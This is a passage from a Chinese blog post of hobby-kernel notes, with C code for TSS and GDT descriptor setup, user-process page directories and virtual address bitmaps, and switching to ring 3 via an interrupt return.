(DESC_DPL_3 &lt;&lt; 5) + (DESC_S_DATA &lt;&lt; 4) + DESC_TYPE_DATA)</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">//---------------  TSS描述符属性  ------------</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> TSS_DESC_D  0 </span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> TSS_ATTR_HIGH ((DESC_G_4K &lt;&lt; 7) + (TSS_DESC_D &lt;&lt; 6) + (DESC_L &lt;&lt; 5) + (DESC_AVL &lt;&lt; 4) + 0x0)</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> TSS_ATTR_LOW ((DESC_P &lt;&lt; 7) + (DESC_DPL_0 &lt;&lt; 5) + (DESC_S_SYS &lt;&lt; 4) + DESC_TYPE_TSS)</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> SELECTOR_TSS ((4 &lt;&lt; 3) + (TI_GDT &lt;&lt; 2 ) + RPL0)</span></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">gdt_desc</span> &#123;</span></span><br><span class="line">   <span class="keyword">uint16_t</span> limit_low_word;</span><br><span class="line">   <span class="keyword">uint16_t</span> base_low_word;</span><br><span class="line">   <span class="keyword">uint8_t</span>  base_mid_byte;</span><br><span class="line">   <span class="keyword">uint8_t</span>  attr_low_byte;</span><br><span class="line">   <span class="keyword">uint8_t</span>  limit_high_attr_high;</span><br><span class="line">   <span class="keyword">uint8_t</span>  base_high_byte;</span><br><span class="line">&#125;; </span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> PG_SIZE 4096</span></span><br></pre></td></tr></table></figure><p>关键代码我们在userprog/tss.c中实现，首先根据tss结构构造如下结构体</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 任务状态段tss结构 */</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">tss</span> </span></span><br><span class="line"><span class="class">&#123;</span></span><br><span class="line">    <span class="keyword">uint32_t</span> backlink;</span><br><span class="line">    <span class="keyword">uint32_t</span>* esp0;</span><br><span class="line">    <span class="keyword">uint32_t</span> ss0;</span><br><span class="line">    <span class="keyword">uint32_t</span>* esp1;</span><br><span class="line">    <span class="keyword">uint32_t</span> ss1;</span><br><span class="line">    <span class="keyword">uint32_t</span>* esp2;</span><br><span class="line">    <span class="keyword">uint32_t</span> ss2;</span><br><span class="line">    <span class="keyword">uint32_t</span> cr3;</span><br><span class="line">    <span class="keyword">uint32_t</span> (*eip) (<span class="keyword">void</span>);</span><br><span class="line">    <span class="keyword">uint32_t</span> eflags;</span><br><span class="line">    <span class="keyword">uint32_t</span> eax;</span><br><span class="line">    <span class="keyword">uint32_t</span> ecx;</span><br><span class="line">    <span class="keyword">uint32_t</span> edx;</span><br><span class="line">    <span class="keyword">uint32_t</span> ebx;</span><br><span class="line">    <span class="keyword">uint32_t</span> esp;</span><br><span class="line">    <span class="keyword">uint32_t</span> ebp;</span><br><span class="line">    <span class="keyword">uint32_t</span> esi;</span><br><span class="line">    <span class="keyword">uint32_t</span> edi;</span><br><span class="line">    <span class="keyword">uint32_t</span> es;</span><br><span class="line">    <span class="keyword">uint32_t</span> cs;</span><br><span class="line">    <span class="keyword">uint32_t</span> ss;</span><br><span class="line">    <span class="keyword">uint32_t</span> ds;</span><br><span class="line">    <span class="keyword">uint32_t</span> fs;</span><br><span class="line">    <span class="keyword">uint32_t</span> gs;</span><br><span class="line">    <span class="keyword">uint32_t</span> ldt;</span><br><span class="line">    <span class="keyword">uint32_t</span> trace;</span><br><span class="line">    <span class="keyword">uint32_t</span> io_base;</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>初始化主要是效仿Linux中初始化ss0和esp0，然后将TSS描述符加载到全局描述符表中，因为GDT中第0个描述符不可用，第1个为代码段，第2个为数据段和栈，第3个为显存段，第4个就是我们的tss，故地址为<code>0xc0000900+0x20</code></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"tss.h"</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"stdint.h"</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"global.h"</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"string.h"</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"print.h"</span></span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* 任务状态段tss结构 */</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">tss</span> &#123;</span></span><br><span class="line">    <span class="keyword">uint32_t</span> backlink;</span><br><span class="line">    <span class="keyword">uint32_t</span>* esp0;</span><br><span class="line">    <span class="keyword">uint32_t</span> ss0;</span><br><span class="line">    <span class="keyword">uint32_t</span>* esp1;</span><br><span class="line">    <span class="keyword">uint32_t</span> ss1;</span><br><span class="line">    <span class="keyword">uint32_t</span>* esp2;</span><br><span class="line">    <span class="keyword">uint32_t</span> ss2;</span><br><span class="line">    <span class="keyword">uint32_t</span> cr3;</span><br><span class="line">    <span class="keyword">uint32_t</span> (*eip) (<span class="keyword">void</span>);</span><br><span class="line">    <span class="keyword">uint32_t</span> eflags;</span><br><span class="line">    <span class="keyword">uint32_t</span> eax;</span><br><span class="line">    <span class="keyword">uint32_t</span> ecx;</span><br><span class="line">    <span class="keyword">uint32_t</span> edx;</span><br><span class="line">    <span class="keyword">uint32_t</span> ebx;</span><br><span class="line">    <span class="keyword">uint32_t</span> esp;</span><br><span class="line">    <span class="keyword">uint32_t</span> ebp;</span><br><span class="line">    <span class="keyword">uint32_t</span> esi;</span><br><span class="line">    <span class="keyword">uint32_t</span> edi;</span><br><span class="line">    <span class="keyword">uint32_t</span> es;</span><br><span class="line">    <span class="keyword">uint32_t</span> cs;</span><br><span class="line">    <span class="keyword">uint32_t</span> ss;</span><br><span class="line">    <span class="keyword">uint32_t</span> ds;</span><br><span class="line">    <span class="keyword">uint32_t</span> fs;</span><br><span class="line">    <span class="keyword">uint32_t</span> gs;</span><br><span class="line">    <span class="keyword">uint32_t</span> ldt;</span><br><span class="line">    <span class="keyword">uint32_t</span> trace;</span><br><span class="line">    <span class="keyword">uint32_t</span> io_base;</span><br><span class="line">&#125;; </span><br><span class="line"><span class="keyword">static</span> <span class="class"><span class="keyword">struct</span> <span class="title">tss</span> <span class="title">tss</span>;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* 更新tss中esp0字段的值为pthread的0级线 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">update_tss_esp</span><span class="params">(struct task_struct* pthread)</span> </span>&#123;</span><br><span class="line">   tss.esp0 = (<span class="keyword">uint32_t</span>*)((<span class="keyword">uint32_t</span>)pthread + PG_SIZE);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 创建gdt描述符 */</span></span><br><span class="line"><span class="function"><span class="keyword">static</span> struct gdt_desc <span class="title">make_gdt_desc</span><span class="params">(<span class="keyword">uint32_t</span>* desc_addr, <span class="keyword">uint32_t</span> limit, <span class="keyword">uint8_t</span> attr_low, <span class="keyword">uint8_t</span> attr_high)</span> </span>&#123;</span><br><span class="line">   <span class="keyword">uint32_t</span> desc_base = (<span class="keyword">uint32_t</span>)desc_addr;</span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">gdt_desc</span> <span class="title">desc</span>;</span></span><br><span class="line">   desc.limit_low_word = limit &amp; <span class="number">0x0000ffff</span>;</span><br><span class="line">   desc.base_low_word = desc_base &amp; <span class="number">0x0000ffff</span>;</span><br><span class="line">   desc.base_mid_byte = ((desc_base &amp; <span class="number">0x00ff0000</span>) &gt;&gt; <span class="number">16</span>);</span><br><span class="line">   desc.attr_low_byte = (<span class="keyword">uint8_t</span>)(attr_low);</span><br><span class="line">   desc.limit_high_attr_high = (((limit &amp; <span class="number">0x000f0000</span>) &gt;&gt; <span class="number">16</span>) + (<span class="keyword">uint8_t</span>)(attr_high));</span><br><span class="line">   desc.base_high_byte = desc_base &gt;&gt; <span class="number">24</span>;</span><br><span class="line">   <span class="keyword">return</span> desc;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 在gdt中创建tss并重新加载gdt */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">tss_init</span><span class="params">()</span> </span>&#123;</span><br><span class="line">   put_str(<span class="string">"tss_init start\n"</span>);</span><br><span class="line">   <span class="keyword">uint32_t</span> tss_size = <span class="keyword">sizeof</span>(tss);</span><br><span class="line">   <span class="built_in">memset</span>(&amp;tss, <span class="number">0</span>, tss_size);</span><br><span class="line">   tss.ss0 = SELECTOR_K_STACK;</span><br><span class="line">   tss.io_base = tss_size;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* gdt段基址为0x900,把tss放到第4个位置,也就是0x900+0x20的位置 */</span></span><br><span class="line"></span><br><span class="line">  <span class="comment">/* 在gdt中添加dpl为0的TSS描述符 */</span></span><br><span class="line">  *((struct gdt_desc*)<span class="number">0xc0000920</span>) = make_gdt_desc((<span class="keyword">uint32_t</span>*)&amp;tss, tss_size - <span class="number">1</span>, TSS_ATTR_LOW, TSS_ATTR_HIGH);</span><br><span class="line"></span><br><span class="line">  <span class="comment">/* 在gdt中添加dpl为3的数据段和代码段描述符 */</span></span><br><span class="line">  *((struct gdt_desc*)<span class="number">0xc0000928</span>) = make_gdt_desc((<span class="keyword">uint32_t</span>*)<span class="number">0</span>, <span class="number">0xfffff</span>, GDT_CODE_ATTR_LOW_DPL3, GDT_ATTR_HIGH);</span><br><span class="line">  *((struct gdt_desc*)<span class="number">0xc0000930</span>) = make_gdt_desc((<span class="keyword">uint32_t</span>*)<span class="number">0</span>, <span class="number">0xfffff</span>, GDT_DATA_ATTR_LOW_DPL3, GDT_ATTR_HIGH);</span><br><span class="line">   </span><br><span class="line">  <span class="comment">/* gdt 16位的limit 32位的段基址 */</span></span><br><span class="line">   <span class="keyword">uint64_t</span> gdt_operand = ((<span class="number">8</span> * <span class="number">7</span> - <span class="number">1</span>) | ((<span class="keyword">uint64_t</span>)(<span class="keyword">uint32_t</span>)<span class="number">0xc0000900</span> &lt;&lt; <span class="number">16</span>));   <span class="comment">// 7个描述符大小</span></span><br><span class="line">   <span class="function"><span class="keyword">asm</span> <span class="title">volatile</span> <span class="params">(<span class="string">"lgdt %0"</span> : : <span class="string">"m"</span> (gdt_operand))</span></span>;  <span class="comment">// 重新加载GDT</span></span><br><span class="line">   <span class="function"><span class="keyword">asm</span> <span class="title">volatile</span> <span class="params">(<span class="string">"ltr %w0"</span> : : <span class="string">"r"</span> (SELECTOR_TSS))</span></span>; <span class="comment">// 加载tss到TR寄存器</span></span><br><span class="line">   put_str(<span class="string">"tss_init and ltr done\n"</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>修改初始化函数之后，测试一下，用info gdt命令查看gdt表，可以看到TSS正确加载到第四个描述符中。</p><p><img src="/2020/05/15/简单内核实现笔记-part-3/77.png" alt="image-20200526104424200"></p><h2 id="进程实现"><a href="#进程实现" class="headerlink" title="进程实现"></a>进程实现</h2><p>实现进程的过程是在之前的线程基础上进行的，在创建线程的时候是将栈的返回地址指向了kernel_thread函数，通过该函数调用线程函数实现的，其执行流程如下，我们只需要把执行线程的函数换成创建进程的函数就可以了</p><p><img src="/2020/05/15/简单内核实现笔记-part-3/78.png" alt="image-20200526104424200"></p><p>与线程不同的是，每个进程都单独有4GB虚拟地址空间，所以，需要单独为每个进程维护一个虚拟地址池，用来标记该进程中地址分配信息</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 进程或线程的pcb,程序控制块 */</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">task_struct</span> &#123;</span></span><br><span class="line">   <span class="keyword">uint32_t</span>* self_kstack; <span class="comment">// 各内核线程都用自己的内核栈</span></span><br><span class="line">   <span class="keyword">enum</span> task_status status;</span><br><span class="line">   <span class="keyword">char</span> name[<span class="number">16</span>];</span><br><span class="line">   <span class="keyword">uint8_t</span> priority;</span><br><span class="line">   <span class="keyword">uint8_t</span> ticks;   <span class="comment">// 每次在处理器上执行的时间嘀嗒数</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* 此任务自上cpu运行后至今占用了多少cpu嘀嗒数,</span></span><br><span class="line"><span class="comment"> * 也就是此任务执行了多久*/</span></span><br><span class="line">   <span class="keyword">uint32_t</span> elapsed_ticks;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* general_tag的作用是用于线程在一般的队列中的结点 */</span></span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">list_elem</span> <span class="title">general_tag</span>;</span>    </span><br><span class="line"></span><br><span class="line"><span class="comment">/* all_list_tag的作用是用于线程队列thread_all_list中的结点 */</span></span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">list_elem</span> <span class="title">all_list_tag</span>;</span></span><br><span class="line"></span><br><span class="line">   <span class="keyword">uint32_t</span>* pgdir;              <span class="comment">// 进程自己页表的虚拟地址</span></span><br><span class="line"></span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">virtual_addr</span> <span class="title">userprog_vaddr</span>;</span>   <span class="comment">// 用户进程的虚拟地址</span></span><br><span class="line">   <span class="keyword">uint32_t</span> stack_magic; <span class="comment">// 用这串数字做栈的边界标记,用于检测栈的溢出</span></span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>用户进程创建页表的实现在memory.c中添加</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 在虚拟内存池中申请pg_cnt个虚拟页</span></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">void</span> *<span class="title">vaddr_get</span><span class="params">(<span class="keyword">enum</span> pool_flags pf, <span class="keyword">uint32_t</span> pg_cnt)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">int</span> vaddr_start = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">int</span> bit_idx_start = <span class="number">-1</span>;</span><br><span class="line">    <span class="keyword">uint32_t</span> cnt = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span>(pf == PF_KERNEL)</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="comment">//...内核内存池</span></span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">    &#123;</span><br><span class="line">        <span class="comment">// 用户内存池</span></span><br><span class="line">        task_struct *cur = running_thread();</span><br><span class="line">        bit_idx_start = bitmap_scan(&amp;cur-&gt;userprog_vaddr.vaddr_bitmap, pg_cnt);</span><br><span class="line">        <span class="keyword">if</span>(bit_idx_start == <span class="number">-1</span>)</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">NULL</span>;</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">while</span> (cnt &lt; pg_cnt)</span><br><span class="line">        &#123;</span><br><span class="line">            bitmap_set(&amp;cur-&gt;userprog_vaddr.vaddr_bitmap, bit_idx_start + cnt++, <span class="number">1</span>);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        vaddr_start = cur-&gt;userprog_vaddr.vaddr_start + bit_idx_start * PG_SIZE;</span><br><span class="line">        <span class="comment">/* (0xc0000000 - PG_SIZE)做为用户3级栈已经在start_process被分配 */</span></span><br><span class="line">        ASSERT((<span class="keyword">uint32_t</span>)vaddr_start &lt; (<span class="number">0xc0000000</span> - PG_SIZE));</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> (<span class="keyword">void</span> *)vaddr_start;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 在用户空间中申请4k内存,并返回其虚拟地址 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> *<span class="title">get_user_pages</span><span class="params">(<span class="keyword">uint32_t</span> pg_cnt)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    lock_acquire(&amp;user_pool.lock);</span><br><span class="line">    <span class="keyword">void</span> *vaddr = malloc_page(PF_USER, pg_cnt);</span><br><span class="line">    <span class="built_in">memset</span>(vaddr, <span class="number">0</span>, pg_cnt * PG_SIZE);</span><br><span class="line">    lock_release(&amp;user_pool.lock);</span><br><span class="line">    <span class="keyword">return</span> vaddr;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>我们还需让用户进程工作在3环下，这就需要我们从高特权级跳到低特权级。一般情况下，CPU不允许从高特权级转向低特权级，只有从中断返回或者从调用门返回的情况下才可以。这里我们采用从中断返回的方式进入3特权级，需要制造从中断返回的条件，构造好栈的内容之后执行iretd指令，下面是添加的函数</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//构建用户进程初始上下文信息</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">start_process</span><span class="params">(<span class="keyword">void</span> *filename_)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">void</span> *function = filename_;</span><br><span class="line">    task_struct *cur = running_thread();</span><br><span class="line">    cur-&gt;self_kstack += <span class="keyword">sizeof</span>(thread_stack);</span><br><span class="line">    intr_stack *proc_stack = (struct intr_stack *)cur-&gt;self_kstack;</span><br><span class="line">    proc_stack-&gt;edi = proc_stack-&gt;esi = proc_stack-&gt;ebp = proc_stack-&gt;esp_dummy = <span class="number">0</span>;</span><br><span class="line">    proc_stack-&gt;ebx = proc_stack-&gt;edx = proc_stack-&gt;ecx = proc_stack-&gt;eax = <span class="number">0</span>;</span><br><span class="line">    proc_stack-&gt;gs = <span class="number">0</span>; <span class="comment">// 用户态用不上,直接初始为0</span></span><br><span class="line">    proc_stack-&gt;ds = proc_stack-&gt;es = proc_stack-&gt;fs = SELECTOR_U_DATA;</span><br><span class="line">    proc_stack-&gt;eip = function; <span class="comment">// 待执行的用户程序地址</span></span><br><span class="line">    proc_stack-&gt;cs = SELECTOR_U_CODE;</span><br><span class="line">    proc_stack-&gt;eflags = (EFLAGS_IOPL_0 | EFLAGS_MBS | EFLAGS_IF_1);</span><br><span class="line">    proc_stack-&gt;esp = (<span class="keyword">void</span> *)((<span class="keyword">uint32_t</span>)get_a_page(PF_USER, USER_STACK3_VADDR) + PG_SIZE);</span><br><span class="line">    proc_stack-&gt;ss = SELECTOR_U_DATA;</span><br><span class="line">    <span class="function"><span class="keyword">asm</span> <span class="title">volatile</span><span class="params">(<span class="string">"movl %0, %%esp; jmp intr_exit"</span></span></span></span><br><span class="line"><span class="function"><span class="params">                 :</span></span></span><br><span class="line"><span class="function"><span class="params">                 : <span class="string">"g"</span>(proc_stack)</span></span></span><br><span class="line"><span class="function"><span class="params">                 : <span class="string">"memory"</span>)</span></span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>激活页表，其参数可能是进程也可能是线程</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 激活页表 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">page_dir_activate</span><span class="params">(task_struct *p_thread)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="comment">/* 若为内核线程,需要重新填充页表为0x100000 */</span></span><br><span class="line">    <span class="keyword">uint32_t</span> pagedir_phy_addr = <span class="number">0x100000</span>; <span class="comment">// 默认为内核的页目录物理地址,也就是内核线程所用的页目录表</span></span><br><span class="line">    <span class="keyword">if</span> (p_thread-&gt;pgdir != <span class="literal">NULL</span>) <span class="comment">// 用户态进程有页表，线程为NULL</span></span><br><span class="line">    &#123; <span class="comment">// 用户态进程有自己的页目录表</span></span><br><span class="line">        pagedir_phy_addr = addr_v2p((<span class="keyword">uint32_t</span>)p_thread-&gt;pgdir);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/* 更新页目录寄存器cr3,使新页表生效 */</span></span><br><span class="line">    <span class="function"><span class="keyword">asm</span> <span class="title">volatile</span><span class="params">(<span class="string">"movl %0, %%cr3"</span></span></span></span><br><span class="line"><span class="function"><span class="params">                 :</span></span></span><br><span class="line"><span class="function"><span class="params">                 : <span class="string">"r"</span>(pagedir_phy_addr)</span></span></span><br><span class="line"><span class="function"><span class="params">                 : <span class="string">"memory"</span>)</span></span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 激活线程或进程的页表,更新tss中的esp0为进程的特权级0的栈 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">process_activate</span><span class="params">(task_struct *p_thread)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    ASSERT(p_thread != <span class="literal">NULL</span>);</span><br><span class="line">    <span class="comment">/* 击活该进程或线程的页表 */</span></span><br><span class="line">    page_dir_activate(p_thread);</span><br><span class="line"></span><br><span class="line">    <span class="comment">/* 内核线程特权级本身就是0,处理器进入中断时并不会从tss中获取0特权级栈地址,故不需要更新esp0 */</span></span><br><span class="line">    <span class="keyword">if</span> (p_thread-&gt;pgdir)</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="comment">/* 更新该进程的esp0,用于此进程被中断时保留上下文 */</span></span><br><span class="line">        update_tss_esp(p_thread);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>创建用户进程的页目录表</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">uint32_t</span> *create_page_dir(<span class="keyword">void</span>)</span><br><span class="line">&#123;</span><br><span class="line">    <span class="comment">/* 用户进程的页表不能让用户直接访问到,所以在内核空间来申请 */</span></span><br><span class="line">    <span class="keyword">uint32_t</span> *page_dir_vaddr = get_kernel_pages(<span class="number">1</span>);</span><br><span class="line">    <span class="keyword">if</span> (page_dir_vaddr == <span class="literal">NULL</span>)</span><br><span class="line">    &#123;</span><br><span class="line">        console_put_str(<span class="string">"create_page_dir: get_kernel_page failed!"</span>);</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">NULL</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/************************** 1  先复制页表  *************************************/</span></span><br><span class="line">    <span class="comment">/*  page_dir_vaddr + 0x300*4 是内核页目录的第768项 */</span></span><br><span class="line">    <span class="comment">// 内核页目录项复制到用户进程使用的页目录项中</span></span><br><span class="line">    <span class="built_in">memcpy</span>((<span class="keyword">uint32_t</span> *)((<span class="keyword">uint32_t</span>)page_dir_vaddr + <span class="number">0x300</span> * <span class="number">4</span>), (<span class="keyword">uint32_t</span> *)(<span class="number">0xfffff000</span> + <span class="number">0x300</span> * <span class="number">4</span>), <span class="number">1024</span>);</span><br><span class="line">    <span class="comment">/*****************************************************************************/</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">/************************** 2  更新页目录地址 **********************************/</span></span><br><span class="line">    <span class="keyword">uint32_t</span> new_page_dir_phy_addr = addr_v2p((<span class="keyword">uint32_t</span>)page_dir_vaddr);</span><br><span class="line">    <span class="comment">/* 页目录地址是存入在页目录的最后一项,更新页目录地址为新页目录的物理地址 */</span></span><br><span class="line">    page_dir_vaddr[<span class="number">1023</span>] = new_page_dir_phy_addr | PG_US_U | PG_RW_W | PG_P_1;</span><br><span class="line">    <span class="comment">/*****************************************************************************/</span></span><br><span class="line">    <span class="keyword">return</span> page_dir_vaddr;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 创建用户进程虚拟地址位图 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">create_user_vaddr_bitmap</span><span class="params">(task_struct *user_prog)</span></span></span><br><span 